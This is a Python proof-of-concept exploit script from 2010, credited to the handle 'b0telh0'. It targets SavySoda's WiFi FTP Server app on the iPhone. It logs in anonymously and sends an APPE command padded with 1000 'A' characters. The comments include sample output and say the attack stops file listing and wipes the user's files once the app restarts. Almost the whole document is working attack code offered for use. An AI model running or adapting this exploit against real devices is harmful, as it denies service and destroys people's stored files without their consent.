#!/usr/bin/python # # Title: iPhone - FTP Server (WiFi FTP) by SavySoda DoS/PoC # Date: 02-18-2010 # Author: b0telh0 # Link: app store (http://itunes.apple.com/br/app/ftp-server/id346724641?mt=8) # Tested on: iPhone 3G (firmware 3.1.3) # The server doesn't crash at all, but after exploiting it # you can't see (list) your files anymore. You must to close the app # and open it again. Then you'll see that the app starts like it was # fresh installed and your files are gone. # root@bt:~# ./free_ftp.py 192.168.1.108 # # [+] iPhone - FTP Server by SavySoda(WiFi FTP). # [+] Free version of WiFi FTP with Ad Support. # # [+] Connecting... # [+] 220 Service ready. # # [+] Sending username... # [+] Sending buffer... # [+] done! # root@bt:~# ftp 192.168.1.108 # Connected to 192.168.1.108. # 220 Service ready. # Name (192.168.1.108:root): anonymous # 230 User logged in, proceed. # Remote system type is UNIX. # Using binary mode to transfer files. # ftp> ls # 200 Command okay. # 450 Requested file action not taken. File unavailable (e.g., file busy). # ftp> ls # 421 Service not available, closing control connection. # ftp> ls # Not connected. # ftp> bye import socket import sys import time crash = "\x41" * 1000 def Usage(): print ("Usage: ./free_ftp.py serv_ip\n") if len(sys.argv) <> 2: Usage() sys.exit(1) else: host = sys.argv[1] s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: print "\n[+] FTP Server by SavySoda(WiFi FTP)." print "[+] Free version of WiFi FTP with Ad Support.\n" print "[+] Connecting..." s.connect((host, 21)) b=s.recv(1024) print "[+] " +b except: print ("[-] Can't connect to ftp server!\n") sys.exit(1) print "[+] Sending username..." time.sleep(3) s.send('USER anonymous\r\n') s.recv(1024) print "[+] Sending buffer..." time.sleep(3) s.send('APPE ' + crash + '\r\n') s.recv(1024) s.close() print "[+] done!\n" sys.exit(0); -- Leonardo Rota Botelho http://www.leonardobotelho.com/blog/ public key: http://www.leonardobotelho.com/leonardorotabotelho.gpg

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